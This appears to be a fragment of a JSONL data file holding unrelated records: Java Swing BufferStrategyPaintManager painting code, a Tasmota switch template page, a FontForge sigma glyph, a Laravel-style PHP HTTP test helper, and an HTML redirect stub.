//\n private int accumulatedX;\n private int accumulatedY;\n private int accumulatedMaxX;\n private int accumulatedMaxY;\n\n //\n // The following fields are set by prepare\n //\n\n /**\n * Farthest JComponent ancestor for the current paint/copyArea.\n */\n private JComponent rootJ;\n /**\n * Location of component being painted relative to root.\n */\n private int xOffset;\n /**\n * Location of component being painted relative to root.\n */\n private int yOffset;\n /**\n * Graphics from the BufferStrategy.\n */\n private Graphics bsg;\n /**\n * BufferStrategy currently being used.\n */\n private BufferStrategy bufferStrategy;\n /**\n * BufferInfo corresponding to root.\n */\n private BufferInfo bufferInfo;\n\n /**\n * Set to true if the bufferInfo needs to be disposed when current\n * paint loop is done.\n */\n private boolean disposeBufferOnEnd;\n\n BufferStrategyPaintManager() {\n bufferInfos = new ArrayList(1);\n }\n\n //\n // PaintManager methods\n //\n\n /**\n * Cleans up any created BufferStrategies.\n */\n protected void dispose() {\n // dipose can be invoked at any random time. To avoid\n // threading dependancies we do the actual diposing via an\n // invokeLater.\n SwingUtilities.invokeLater(new Runnable() {\n public void run() {\n java.util.List bufferInfos;\n synchronized(BufferStrategyPaintManager.this) {\n while (showing) {\n try {\n BufferStrategyPaintManager.this.wait();\n } catch (InterruptedException ie) {\n }\n }\n bufferInfos = BufferStrategyPaintManager.this.bufferInfos;\n BufferStrategyPaintManager.this.bufferInfos = null;\n }\n dispose(bufferInfos);\n }\n });\n }\n\n private void dispose(java.util.List bufferInfos) {\n if (LOGGER.isLoggable(PlatformLogger.Level.FINER)) {\n LOGGER.finer(\"BufferStrategyPaintManager disposed\",\n new RuntimeException());\n }\n if (bufferInfos != null) {\n for (BufferInfo bufferInfo : bufferInfos) {\n bufferInfo.dispose();\n }\n }\n }\n\n /**\n * Shows the specified region of the back buffer. This will return\n * true if successful, false otherwise. This is invoked on the\n * toolkit thread in response to an expose event.\n */\n public boolean show(Container c, int x, int y, int w, int h) {\n synchronized(this) {\n if (painting) {\n // Don't show from backbuffer while in the process of\n // painting.\n return false;\n }\n showing = true;\n }\n try {\n BufferInfo info = getBufferInfo(c);\n BufferStrategy bufferStrategy;\n if (info != null && info.isInSync() &&\n (bufferStrategy = info.getBufferStrategy(false)) != null) {\n SubRegionShowable bsSubRegion =\n (SubRegionShowable)bufferStrategy;\n boolean paintAllOnExpose = info.getPaintAllOnExpose();\n info.setPaintAllOnExpose(false);\n if (bsSubRegion.showIfNotLost(x, y, (x + w), (y + h))) {\n return !paintAllOnExpose;\n }\n // Mark the buffer as needing to be repainted. We don't\n // immediately do a repaint as this method will return false\n // indicating a PaintEvent should be generated which will\n // trigger a complete repaint.\n bufferInfo.setContentsLostDuringExpose(true);\n }\n }\n finally {\n synchronized(this) {\n showing = false;\n notifyAll();\n }\n }\n return false;\n }\n\n public boolean paint(JComponent paintingComponent,\n JComponent bufferComponent, Graphics g,\n int x, int y, int w, int h) {\n Container root = fetchRoot(paintingComponent);\n\n if (prepare(paintingComponent, root, true, x, y, w, h)) {\n if ((g instanceof SunGraphics2D) &&\n ((SunGraphics2D)g).getDestination() == root) {\n // BufferStrategy may have already constrained the Graphics. To\n // account for that we revert the constrain, then apply a\n // constrain for Swing on top of that.\n int cx = ((SunGraphics2D)bsg).constrainX;\n int cy = ((SunGraphics2D)bsg).constrainY;\n if (cx != 0 || cy != 0) {\n bsg.translate(-cx, -cy);\n }\n ((SunGraphics2D)bsg).constrain(xOffset + cx, yOffset + cy,\n x + w, y + h);\n bsg.setClip(x, y, w, h);\n paintingComponent.paintToOffscreen(bsg, x, y, w, h,\n x + w, y + h);\n accumulate(xOffset + x, yOffset + y, w, h);\n return true;\n } else {\n // Assume they are going to eventually render to the screen.\n // This disables showing from backbuffer until a complete\n // repaint occurs.\n bufferInfo.setInSync(false);\n // Fall through to old rendering.\n }\n }\n // Invalid root, do what Swing has always done.\n if (LOGGER.isLoggable(PlatformLogger.Level.FINER)) {\n LOGGER.finer(\"prepare failed\");\n }\n return super.paint(paintingComponent, bufferComponent, g, x, y, w, h);\n }\n\n public void copyArea(JComponent c, Graphics g, int x, int y, int w, int h,\n int deltaX, int deltaY, boolean clip) {\n // Note: this method is only called internally and we know that\n // g is from a heavyweight Component, so no check is necessary as\n // it is in paint() above.\n //\n // If the buffer isn't in sync there is no point in doing a copyArea,\n // it has garbage.\n Container root = fetchRoot(c);\n\n if (prepare(c, root, false, 0, 0, 0, 0) && bufferInfo.isInSync()) {\n if (clip) {\n Rectangle cBounds = c.getVisibleRect();\n int relX = xOffset + x;\n int relY = yOffset + y;\n bsg.clipRect(xOffset + cBounds.x,\n yOffset + cBounds.y,\n cBounds.width, cBounds.height);\n bsg.copyArea(relX, relY, w, h, deltaX, deltaY);\n }\n else {\n bsg.copyArea(xOffset + x, yOffset + y, w, h, deltaX,\n deltaY);\n }\n accumulate(x + xOffset + deltaX, y + yOffset + deltaY, w, h);\n } else {\n if (LOGGER.isLoggable(PlatformLogger.Level.FINER)) {\n LOGGER.finer(\"copyArea: prepare failed or not in sync\");\n }\n // Prepare failed, or not in sync. By calling super.copyArea\n // we'll copy on screen. We need to flush any pending paint to\n // the screen otherwise we'll do a copyArea on the wrong thing.\n if (!flushAccumulatedRegion()) {\n // Flush failed, copyArea will be copying garbage,\n // force repaint of all.\n rootJ.repaint();\n } else {\n super.copyArea(c, g, x, y, w, h, deltaX, deltaY, clip);\n }\n }\n }\n\n public void beginPaint() {\n synchronized(this) {\n painting = true;\n // Make sure another thread isn't attempting to show from\n // the back buffer.\n while(showing) {\n try {\n wait();\n } catch (InterruptedException ie) {\n }\n }\n }\n if (LOGGER.isLoggable(PlatformLogger.Level.FINEST)) {\n LOGGER.finest(\"beginPaint\");\n }\n // Reset the area that needs to be painted.\n resetAccumulated();\n }\n\n public void endPaint() {\n if (LOGGER.isLoggable(PlatformLogger.Level.FINEST)) {\n LOGGER.finest(\"endPaint: region \" + accumulatedX + \" \" +\n accumulatedY + \" \" + accumulatedMaxX + \" \" +\n accumulatedMaxY);\n }\n if (painting) {\n if (!flushAccumulatedRegion()) {\n if (!isRepaintingRoot()) {\n repaintRoot(rootJ);\n }\n else {\n // Contents lost twice in a row, punt.\n resetDoubleBufferPerWindow();\n // In case we've left junk on the screen, force a repaint.\n rootJ.repaint();\n }\n }\n }\n\n BufferInfo toDispose = null;\n synchronized(this) {\n painting = false;\n if (disposeBufferOnEnd) {\n disposeBufferOnEnd = false;\n toDispose = bufferInfo;\n bufferInfos.remove(toDispose);\n }\n }\n if (toDispose != null) {\n toDispose.dispose();\n }\n }\n\n /**\n * Renders the BufferStrategy to the screen.\n *\n * @return true if successful, false otherwise.\n */\n private boolean flushAccumulatedRegion() {\n boolean success = true;\n if (accumulatedX != Integer.MAX_VALUE) {\n SubRegionShowable bsSubRegion = (SubRegionShowable)bufferStrategy;\n boolean contentsLost = bufferStrategy.contentsLost();\n if (!contentsLost) {\n bsSubRegion.show(accumulatedX, accumulatedY,\n accumulatedMaxX, accumulatedMaxY);\n contentsLost = bufferStrategy.contentsLost();\n }\n if (contentsLost) {\n if (LOGGER.isLoggable(PlatformLogger.Level.FINER)) {\n LOGGER.finer(\"endPaint: contents lost\");\n }\n // Shown region was bogus, mark buffer as out of sync.\n bufferInfo.setInSync(false);\n success = false;\n }\n }\n resetAccumulated();\n return success;\n }\n\n private void resetAccumulated() {\n accumulatedX = Integer.MAX_VALUE;\n accumulatedY = Integer.MAX_VALUE;\n accumulatedMaxX = 0;\n accumulatedMaxY = 0;\n }\n\n /**\n * Invoked when the double buffering or useTrueDoubleBuffering\n * changes for a JRootPane. If the rootpane is not double\n * buffered, or true double buffering changes we throw out any\n * cache we may have.\n */\n public void doubleBufferingChanged(final JRootPane rootPane) {\n if ((!rootPane.isDoubleBuffered() ||\n !rootPane.getUseTrueDoubleBuffering()) &&\n rootPane.getParent() != null) {\n if (!SwingUtilities.isEventDispatchThread()) {\n Runnable updater = new Runnable() {\n public void run() {\n doubleBufferingChanged0(rootPane);\n }\n };\n SwingUtilities.invokeLater(updater);\n }\n else {\n doubleBufferingChanged0(rootPane);\n }\n }\n }\n\n /**\n * Does the work for doubleBufferingChanged.\n */\n private void doubleBufferingChanged0(JRootPane rootPane) {\n // This will only happen on the EDT.\n BufferInfo info;\n synchronized(this) {\n // Make sure another thread isn't attempting to show from\n // the back buffer.\n while(showing) {\n try {\n wait();\n } catch (InterruptedException ie) {\n }\n }\n info = getBufferInfo(rootPane.getParent());\n if (painting && bufferInfo == info) {\n // We're in the process of painting and the user grabbed\n // the Graphics. If we dispose now, endPaint will attempt\n // to show a bogus BufferStrategy. Set a flag so that\n // endPaint knows it needs to dispose this buffer.\n disposeBufferOnEnd = true;\n info = null;\n } else if (info != null) {\n bufferInfos.remove(info);\n }\n }\n if (info != null) {\n info.dispose();\n }\n }\n\n /**\n * Calculates information common to paint/copyArea.\n *\n * @return true if should use buffering per window in painting.\n */\n private boolean prepare(JComponent c, Container root, boolean isPaint, int x, int y,\n int w, int h) {\n if (bsg != null) {\n bsg.dispose();\n bsg = null;\n }\n bufferStrategy = null;\n if (root != null) {\n boolean contentsLost = false;\n BufferInfo bufferInfo = getBufferInfo(root);\n if (bufferInfo == null) {\n contentsLost = true;\n bufferInfo = new BufferInfo(root);\n bufferInfos.add(bufferInfo);\n if (LOGGER.isLoggable(PlatformLogger.Level.FINER)) {\n LOGGER.finer(\"prepare: new BufferInfo: \" + root);\n }\n }\n this.bufferInfo = bufferInfo;\n if (!bufferInfo.hasBufferStrategyChanged()) {\n bufferStrategy = bufferInfo.getBufferStrategy(true);\n if (bufferStrategy != null) {\n bsg = bufferStrategy.getDrawGraphics();\n if (bufferStrategy.contentsRestored()) {\n contentsLost = true;\n if (LOGGER.isLoggable(PlatformLogger.Level.FINER)) {\n LOGGER.finer(\"prepare: contents restored in prepare\");\n }\n }\n }\n else {\n // Couldn't create BufferStrategy, fallback to normal\n // painting.\n return false;\n }\n if (bufferInfo.getContentsLostDuringExpose()) {\n contentsLost = true;\n bufferInfo.setContentsLostDuringExpose(false);\n if (LOGGER.isLoggable(PlatformLogger.Level.FINER)) {\n LOGGER.finer(\"prepare: contents lost on expose\");\n }\n }\n if (isPaint && c == rootJ && x == 0 && y == 0 &&\n c.getWidth() == w && c.getHeight() == h) {\n bufferInfo.setInSync(true);\n }\n else if (contentsLost) {\n // We either recreated the BufferStrategy, or the contents\n // of the buffer strategy were restored. We need to\n // repaint the root pane so that the back buffer is in sync\n // again.\n bufferInfo.setInSync(false);\n if (!isRepaintingRoot()) {\n repaintRoot(rootJ);\n }\n else {\n // Contents lost twice in a row, punt\n resetDoubleBufferPerWindow();\n }\n }\n return (bufferInfos != null);\n }\n }\n return false;\n }\n\n private Container fetchRoot(JComponent c) {\n boolean encounteredHW = false;\n rootJ = c;\n Container root = c;\n xOffset = yOffset = 0;\n while (root != null &&\n (!(root instanceof Window) &&\n !SunToolkit.isInstanceOf(root, \"java.applet.Applet\"))) {\n xOffset += root.getX();\n yOffset += root.getY();\n root = root.getParent();\n if (root != null) {\n if (root instanceof JComponent) {\n rootJ = (JComponent)root;\n }\n else if (!root.isLightweight()) {\n if (!encounteredHW) {\n encounteredHW = true;\n }\n else {\n // We've encountered two hws now and may have\n // a containment hierarchy with lightweights containing\n // heavyweights containing other lightweights.\n // Heavyweights poke holes in lightweight\n // rendering so that if we call show on the BS\n // (which is associated with the Window) you will\n // not see the contents over any child\n // heavyweights. If we didn't do this when we\n // went to show the descendants of the nested hw\n // you would see nothing, so, we bail out here.\n return null;\n }\n }\n }\n }\n if ((root instanceof RootPaneContainer) &&\n (rootJ instanceof JRootPane)) {\n // We're in a Swing heavyeight (JFrame/JWindow...), use double\n // buffering if double buffering enabled on the JRootPane and\n // the JRootPane wants true double buffering.\n if (rootJ.isDoubleBuffered() &&\n ((JRootPane)rootJ).getUseTrueDoubleBuffering()) {\n // Whether or not a component is double buffered is a\n // bit tricky with Swing. This gives a good approximation\n // of the various ways to turn on double buffering for\n // components.\n return root;\n }\n }\n // Don't do true double buffering.\n return null;\n }\n\n /**\n * Turns off double buffering per window.\n */\n private void resetDoubleBufferPerWindow() {\n if (bufferInfos != null) {\n dispose(bufferInfos);\n bufferInfos = null;\n repaintManager.setPaintManager(null);\n }\n }\n\n /**\n * Returns the BufferInfo for the specified root or null if one\n * hasn't been created yet.\n */\n private BufferInfo getBufferInfo(Container root) {\n for (int counter = bufferInfos.size() - 1; counter >= 0; counter--) {\n BufferInfo bufferInfo = bufferInfos.get(counter);\n Container biRoot = bufferInfo.getRoot();\n if (biRoot == null) {\n // Window gc'ed\n bufferInfos.remove(counter);\n if (LOGGER.isLoggable(PlatformLogger.Level.FINER)) {\n LOGGER.finer(\"BufferInfo pruned, root null\");\n }\n }\n else if (biRoot == root) {\n return bufferInfo;\n }\n }\n return null;\n }\n\n private void accumulate(int x, int y, int w, int h) {\n accumulatedX = Math.min(x, accumulatedX);\n accumulatedY = Math.min(y, accumulatedY);\n accumulatedMaxX = Math.max(accumulatedMaxX, x + w);\n accumulatedMaxY = Math.max(accumulatedMaxY, y + h);\n }\n\n\n\n /**\n * BufferInfo is used to track the BufferStrategy being used for\n * a particular Component. In addition to tracking the BufferStrategy\n * it will install a WindowListener and ComponentListener. When the\n * component is hidden/iconified the buffer is marked as needing to be\n * completely repainted.\n */\n private class BufferInfo extends ComponentAdapter implements\n WindowListener {\n // NOTE: This class does NOT hold a direct reference to the root, if it\n // did there would be a cycle between the BufferPerWindowPaintManager\n // and the Window so that it could never be GC'ed\n //\n // Reference to BufferStrategy is referenced via WeakReference for\n // same reason.\n private WeakReference weakBS;\n private WeakReference root;\n // Indicates whether or not the backbuffer and display are in sync.\n // This is set to true when a full repaint on the rootpane is done.\n private boolean inSync;\n // Indicates the contents were lost during and expose event.\n private boolean contentsLostDuringExpose;\n // Indicates we need to generate a paint event on expose.\n private boolean paintAllOnExpose;\n\n\n public BufferInfo(Container root) {\n this.root = new WeakReference(root);\n root.addComponentListener(this);\n if (root instanceof Window) {\n ((Window)root).addWindowListener(this);\n }\n }\n\n public void setPaintAllOnExpose(boolean paintAllOnExpose) {\n this.paintAllOnExpose = paintAllOnExpose;\n }\n\n public boolean getPaintAllOnExpose() {\n return paintAllOnExpose;\n }\n\n public void setContentsLostDuringExpose(boolean value) {\n contentsLostDuringExpose = value;\n }\n\n public boolean getContentsLostDuringExpose() {\n return contentsLostDuringExpose;\n }\n\n public void setInSync(boolean inSync) {\n this.inSync = inSync;\n }\n\n /**\n * Whether or not the contents of the buffer strategy\n * is in sync with the window. This is set to true when the root\n * pane paints all, and false when contents are lost/restored.\n */\n public boolean isInSync() {\n return inSync;\n }\n\n /**\n * Returns the Root (Window or Applet) that this BufferInfo references.\n */\n public Container getRoot() {\n return (root == null) ? null : root.get();\n }\n\n /**\n * Returns the BufferStartegy. This will return null if\n * the BufferStartegy hasn't been created and create is\n * false, or if there is a problem in creating the\n * BufferStartegy.\n *\n * @param create If true, and the BufferStartegy is currently null,\n * one will be created.\n */\n public BufferStrategy getBufferStrategy(boolean create) {\n BufferStrategy bs = (weakBS == null) ? null : weakBS.get();\n if (bs == null && create) {\n bs = createBufferStrategy();\n if (bs != null) {\n weakBS = new WeakReference(bs);\n }\n if (LOGGER.isLoggable(PlatformLogger.Level.FINER)) {\n LOGGER.finer(\"getBufferStrategy: created bs: \" + bs);\n }\n }\n return bs;\n }\n\n /**\n * Returns true if the buffer strategy of the component differs\n * from current buffer strategy.\n */\n public boolean hasBufferStrategyChanged() {\n Container root = getRoot();\n if (root != null) {\n BufferStrategy ourBS = null;\n BufferStrategy componentBS = null;\n\n ourBS = getBufferStrategy(false);\n if (root instanceof Window) {\n componentBS = ((Window)root).getBufferStrategy();\n }\n else {\n componentBS = AWTAccessor.getComponentAccessor().getBufferStrategy(root);\n }\n if (componentBS != ourBS) {\n // Component has a different BS, dispose ours.\n if (ourBS != null) {\n ourBS.dispose();\n }\n weakBS = null;\n return true;\n }\n }\n return false;\n }\n\n /**\n * Creates the BufferStrategy. If the appropriate system property\n * has been set we'll try for flip first and then we'll try for\n * blit.\n */\n private BufferStrategy createBufferStrategy() {\n Container root = getRoot();\n if (root == null) {\n return null;\n }\n BufferStrategy bs = null;\n if (SwingUtilities3.isVsyncRequested(root)) {\n bs = createBufferStrategy(root, true);\n if (LOGGER.isLoggable(PlatformLogger.Level.FINER)) {\n LOGGER.finer(\"createBufferStrategy: using vsynced strategy\");\n }\n }\n if (bs == null) {\n bs = createBufferStrategy(root, false);\n }\n if (!(bs instanceof SubRegionShowable)) {\n // We do this for two reasons:\n // 1. So that we know we can cast to SubRegionShowable and\n // invoke show with the minimal region to update\n // 2. To avoid the possibility of invoking client code\n // on the toolkit thread.\n bs = null;\n }\n return bs;\n }\n\n // Creates and returns a buffer strategy. If\n // there is a problem creating the buffer strategy this will\n // eat the exception and return null.\n private BufferStrategy createBufferStrategy(Container root,\n boolean isVsynced) {\n BufferCapabilities caps;\n if (isVsynced) {\n caps = new ExtendedBufferCapabilities(\n new ImageCapabilities(true), new ImageCapabilities(true),\n BufferCapabilities.FlipContents.COPIED,\n ExtendedBufferCapabilities.VSyncType.VSYNC_ON);\n } else {\n caps = new BufferCapabilities(\n new ImageCapabilities(true), new ImageCapabilities(true),\n null);\n }\n BufferStrategy bs = null;\n if (SunToolkit.isInstanceOf(root, \"java.applet.Applet\")) {\n try {\n AWTAccessor.ComponentAccessor componentAccessor\n = AWTAccessor.getComponentAccessor();\n componentAccessor.createBufferStrategy(root, 2, caps);\n bs = componentAccessor.getBufferStrategy(root);\n } catch (AWTException e) {\n // Type is not supported\n if (LOGGER.isLoggable(PlatformLogger.Level.FINER)) {\n LOGGER.finer(\"createBufferStratety failed\",\n e);\n }\n }\n }\n else {\n try {\n ((Window)root).createBufferStrategy(2, caps);\n bs = ((Window)root).getBufferStrategy();\n } catch (AWTException e) {\n // Type not supported\n if (LOGGER.isLoggable(PlatformLogger.Level.FINER)) {\n LOGGER.finer(\"createBufferStratety failed\",\n e);\n }\n }\n }\n return bs;\n }\n\n /**\n * Cleans up and removes any references.\n */\n public void dispose() {\n Container root = getRoot();\n if (LOGGER.isLoggable(PlatformLogger.Level.FINER)) {\n LOGGER.finer(\"disposed BufferInfo for: \" + root);\n }\n if (root != null) {\n root.removeComponentListener(this);\n if (root instanceof Window) {\n ((Window)root).removeWindowListener(this);\n }\n BufferStrategy bs = getBufferStrategy(false);\n if (bs != null) {\n bs.dispose();\n }\n }\n this.root = null;\n weakBS = null;\n }\n\n // We mark the buffer as needing to be painted on a hide/iconify\n // because the developer may have conditionalized painting based on\n // visibility.\n // Ideally we would also move to having the BufferStrategy being\n // a SoftReference in Component here, but that requires changes to\n // Component and the like.\n public void componentHidden(ComponentEvent e) {\n Container root = getRoot();\n if (root != null && root.isVisible()) {\n // This case will only happen if a developer calls\n // hide immediately followed by show. In this case\n // the event is delivered after show and the window\n // will still be visible. If a developer altered the\n // contents of the window between the hide/show\n // invocations we won't recognize we need to paint and\n // the contents would be bogus. Calling repaint here\n // fixs everything up.\n root.repaint();\n }\n else {\n setPaintAllOnExpose(true);\n }\n }\n\n public void windowIconified(WindowEvent e) {\n setPaintAllOnExpose(true);\n }\n\n // On a dispose we chuck everything.\n public void windowClosed(WindowEvent e) {\n // Make sure we're not showing.\n synchronized(BufferStrategyPaintManager.this) {\n while (showing) {\n try {\n BufferStrategyPaintManager.this.wait();\n } catch (InterruptedException ie) {\n }\n }\n bufferInfos.remove(this);\n }\n dispose();\n }\n\n public void windowOpened(WindowEvent e) {\n }\n\n public void windowClosing(WindowEvent e) {\n }\n\n public void windowDeiconified(WindowEvent e) {\n }\n\n public void windowActivated(WindowEvent e) {\n }\n\n public void windowDeactivated(WindowEvent e) {\n }\n }\n}\n"} +{"text": "---\ndate_added: 2019-10-24\ntitle: Koaanw CD302-EU-2\ncategory: switch\ntype: Switch\nstandard: eu\nlink: https://www.amazon.de/gp/product/B0793STKZP\nimage: https://images-na.ssl-images-amazon.com/images/I/51z8%2B3am5NL._SL1500_.jpg\ntemplate: '{\"NAME\":\"CD302-EU-2\",\"GPIO\":[157,0,0,0,0,18,0,0,17,21,57,22,56],\"FLAG\":0,\"BASE\":18}' \nlink2: \n---\n\n2-Gang Switch with red Led lights off and 2-Blue Lets for lights on.\n\n\n\n\n\n\n"} +{"text": "StartChar: sigma\nEncoding: 963 963 359\nWidth: 1060\nVWidth: 6\nFlags: W\nHStem: -6 203<384.176 600.071> 830 202<494.385 713.946>\nVStem: 82 260<238.301 580.721> 741 255<421.624 813.081>\nLayerCount: 2\nFore\nSplineSet\n983 814 m 1\n 992 778 996 736 996 692 c 0\n 996 642 991 590 982 543 c 0\n 927 258 779 -6 443 -6 c 1\n 442 -6 442 -6 441 -6 c 1\n 187 -6 82 121 82 321 c 0\n 82 365 87 413 97 464 c 0\n 169 832 345 1029 633 1032 c 0\n 641 1032 l 0\n 768 1032 1109 1021 1158 1012 c 1\n 1142 943 1125 873 1109 804 c 1\n 1080 809 1035 812 983 814 c 1\n608 247 m 1\n 665 299 700 403 723 530 c 0\n 724 536 725 540 726 546 c 0\n 736 601 741 643 741 682 c 0\n 741 734 732 777 714 828 c 1\n 714 828 639 830 616 830 c 0\n 465 830 393 690 353 482 c 0\n 346 445 342 410 342 379 c 0\n 342 269 387 197 481 197 c 1\n 536 198 565 211 608 247 c 1\nEndSplineSet\nValidated: 1\nEndChar\n"} +{"text": " mb_strlen($content, '8bit'),\n 'CONTENT_TYPE' => 'application/json',\n 'Accept' => 'application/json',\n ], $headers);\n\n $this->call(\n $method, $uri, [], [], [], $this->transformHeadersToServerVars($headers), $content\n );\n\n return $this;\n }\n\n /**\n * Visit the given URI with a GET request.\n *\n * @param string $uri\n * @param array $headers\n * @return $this\n */\n public function get($uri, array $headers = [])\n {\n $server = $this->transformHeadersToServerVars($headers);\n\n $this->call('GET', $uri, [], [], [], $server);\n\n return $this;\n }\n\n /**\n * Visit the given URI with a POST request.\n *\n * @param string $uri\n * @param array $data\n * @param array $headers\n * @return $this\n */\n public function post($uri, array $data = [], array $headers = [])\n {\n $server = $this->transformHeadersToServerVars($headers);\n\n $this->call('POST', $uri, $data, [], [], $server);\n\n return $this;\n }\n\n /**\n * Visit the given URI with a PUT request.\n *\n * @param string $uri\n * @param array $data\n * @param array $headers\n * @return $this\n */\n public function put($uri, array $data = [], array $headers = [])\n {\n $server = $this->transformHeadersToServerVars($headers);\n\n $this->call('PUT', $uri, $data, [], [], $server);\n\n return $this;\n }\n\n /**\n * Visit the given URI with a PATCH request.\n *\n * @param string $uri\n * @param array $data\n * @param array $headers\n * @return $this\n */\n public function patch($uri, array $data = [], array $headers = [])\n {\n $server = $this->transformHeadersToServerVars($headers);\n\n $this->call('PATCH', $uri, $data, [], [], $server);\n\n return $this;\n }\n\n /**\n * Visit the given URI with a DELETE request.\n *\n * @param string $uri\n * @param array $data\n * @param array $headers\n * @return $this\n */\n public function delete($uri, array $data = [], array $headers = [])\n {\n $server = $this->transformHeadersToServerVars($headers);\n\n $this->call('DELETE', $uri, $data, [], [], $server);\n\n return $this;\n }\n\n /**\n * Send the given request through the application.\n *\n * This method allows you to fully customize the entire Request object.\n *\n * @param \\Illuminate\\Http\\Request $request\n * @return $this\n */\n public function handle(Request $request)\n {\n $this->currentUri = $request->fullUrl();\n\n $this->response = $this->app->prepareResponse($this->app->handle($request));\n\n return $this;\n }\n\n /**\n * Assert that the response contains JSON.\n *\n * @param array|null $data\n * @return $this\n */\n protected function shouldReturnJson(array $data = null)\n {\n return $this->receiveJson($data);\n }\n\n /**\n * Assert that the response contains JSON.\n *\n * @param array|null $data\n * @return $this|null\n */\n protected function receiveJson($data = null)\n {\n return $this->seeJson($data);\n }\n\n /**\n * Assert that the response contains an exact JSON array.\n *\n * @param array $data\n * @return $this\n */\n public function seeJsonEquals(array $data)\n {\n $actual = json_encode(array_sort_recursive(\n json_decode($this->response->getContent(), true)\n ));\n\n $data = json_encode(array_sort_recursive(\n json_decode(json_encode($data), true)\n ));\n\n PHPUnit::assertEquals($data, $actual);\n\n return $this;\n }\n\n /**\n * Assert that the response contains JSON.\n *\n * @param array|null $data\n * @param bool $negate\n * @return $this\n */\n public function seeJson(array $data = null, $negate = false)\n {\n if (is_null($data)) {\n PHPUnit::assertJson(\n $this->response->getContent(), \"JSON was not returned from [{$this->currentUri}].\"\n );\n\n return $this;\n }\n\n return $this->seeJsonContains($data, $negate);\n }\n\n /**\n * Assert that the response doesn't contain JSON.\n *\n * @param array|null $data\n * @return $this\n */\n public function dontSeeJson(array $data = null)\n {\n return $this->seeJson($data, true);\n }\n\n /**\n * Assert that the JSON response has a given structure.\n *\n * @param array|null $structure\n * @param array|null $responseData\n * @return $this\n */\n public function seeJsonStructure(array $structure = null, $responseData = null)\n {\n if (is_null($structure)) {\n return $this->seeJson();\n }\n\n if (! $responseData) {\n $responseData = json_decode($this->response->getContent(), true);\n }\n\n foreach ($structure as $key => $value) {\n if (is_array($value) && $key === '*') {\n PHPUnit::assertInternalType('array', $responseData);\n\n foreach ($responseData as $responseDataItem) {\n $this->seeJsonStructure($structure['*'], $responseDataItem);\n }\n } elseif (is_array($value)) {\n PHPUnit::assertArrayHasKey($key, $responseData);\n $this->seeJsonStructure($structure[$key], $responseData[$key]);\n } else {\n PHPUnit::assertArrayHasKey($value, $responseData);\n }\n }\n\n return $this;\n }\n\n /**\n * Assert that the response contains the given JSON.\n *\n * @param array $data\n * @param bool $negate\n * @return $this\n */\n protected function seeJsonContains(array $data, $negate = false)\n {\n $method = $negate ? 'assertFalse' : 'assertTrue';\n\n $actual = json_decode($this->response->getContent(), true);\n\n if (is_null($actual) || $actual === false) {\n return PHPUnit::fail('Invalid JSON was returned from the route. Perhaps an exception was thrown?');\n }\n\n $actual = json_encode(array_sort_recursive(\n (array) $actual\n ));\n\n foreach (array_sort_recursive($data) as $key => $value) {\n $expected = $this->formatToExpectedJson($key, $value);\n\n PHPUnit::{$method}(\n Str::contains($actual, $expected),\n ($negate ? 'Found unexpected' : 'Unable to find').\" JSON fragment [{$expected}] within [{$actual}].\"\n );\n }\n\n return $this;\n }\n\n /**\n * Format the given key and value into a JSON string for expectation checks.\n *\n * @param string $key\n * @param mixed $value\n * @return string\n */\n protected function formatToExpectedJson($key, $value)\n {\n $expected = json_encode([$key => $value]);\n\n if (Str::startsWith($expected, '{')) {\n $expected = substr($expected, 1);\n }\n\n if (Str::endsWith($expected, '}')) {\n $expected = substr($expected, 0, -1);\n }\n\n return $expected;\n }\n\n /**\n * Call the given URI and return the Response.\n *\n * @param string $method\n * @param string $uri\n * @param array $parameters\n * @param array $cookies\n * @param array $files\n * @param array $server\n * @param string $content\n * @return \\Illuminate\\Http\\Response\n */\n public function call($method, $uri, $parameters = [], $cookies = [], $files = [], $server = [], $content = null)\n {\n $this->currentUri = $this->prepareUrlForRequest($uri);\n\n $symfonyRequest = SymfonyRequest::create(\n $this->currentUri, $method, $parameters,\n $cookies, $files, $server, $content\n );\n\n return $this->response = $this->app->prepareResponse(\n $this->app->handle(Request::createFromBase($symfonyRequest))\n );\n }\n\n /**\n * Turn the given URI into a fully qualified URL.\n *\n * @param string $uri\n * @return string\n */\n protected function prepareUrlForRequest($uri)\n {\n if (Str::startsWith($uri, '/')) {\n $uri = substr($uri, 1);\n }\n\n if (! Str::startsWith($uri, 'http')) {\n $uri = $this->baseUrl.'/'.$uri;\n }\n\n return trim($uri, '/');\n }\n\n /**\n * Transform headers array to array of $_SERVER vars with HTTP_* format.\n *\n * @param array $headers\n * @return array\n */\n protected function transformHeadersToServerVars(array $headers)\n {\n $server = [];\n $prefix = 'HTTP_';\n\n foreach ($headers as $name => $value) {\n $name = strtr(strtoupper($name), '-', '_');\n\n if (! starts_with($name, $prefix) && $name != 'CONTENT_TYPE') {\n $name = $prefix.$name;\n }\n\n $server[$name] = $value;\n }\n\n return $server;\n }\n\n /**\n * Assert that the client response has an OK status code.\n *\n * @return void\n */\n public function assertResponseOk()\n {\n $actual = $this->response->getStatusCode();\n\n return PHPUnit::assertTrue($this->response->isOk(), \"Expected status code 200, got {$actual}.\");\n }\n\n /**\n * Assert that the client response has a given code.\n *\n * @param int $code\n * @return void\n */\n public function assertResponseStatus($code)\n {\n $actual = $this->response->getStatusCode();\n\n return PHPUnit::assertEquals($code, $this->response->getStatusCode(), \"Expected status code {$code}, got {$actual}.\");\n }\n\n /**\n * Asserts that the status code of the response matches the given code.\n *\n * @param int $status\n * @return $this\n */\n protected function seeStatusCode($status)\n {\n $this->assertResponseStatus($status);\n\n return $this;\n }\n\n /**\n * Asserts that the response contains the given header and equals the optional value.\n *\n * @param string $headerName\n * @param mixed $value\n * @return $this\n */\n protected function seeHeader($headerName, $value = null)\n {\n $headers = $this->response->headers;\n\n PHPUnit::assertTrue($headers->has($headerName), \"Header [{$headerName}] not present on response.\");\n\n if (! is_null($value)) {\n PHPUnit::assertEquals(\n $headers->get($headerName), $value,\n \"Header [{$headerName}] was found, but value [{$headers->get($headerName)}] does not match [{$value}].\"\n );\n }\n\n return $this;\n }\n\n /**\n * Disable middleware for the test.\n *\n * @return $this\n */\n public function withoutMiddleware()\n {\n $this->app->instance('middleware.disable', true);\n\n return $this;\n }\n}\n"} +{"text": "\n\n\n \n\n\n

    Redirecting to ../../../core/ops/trait.Place.html...

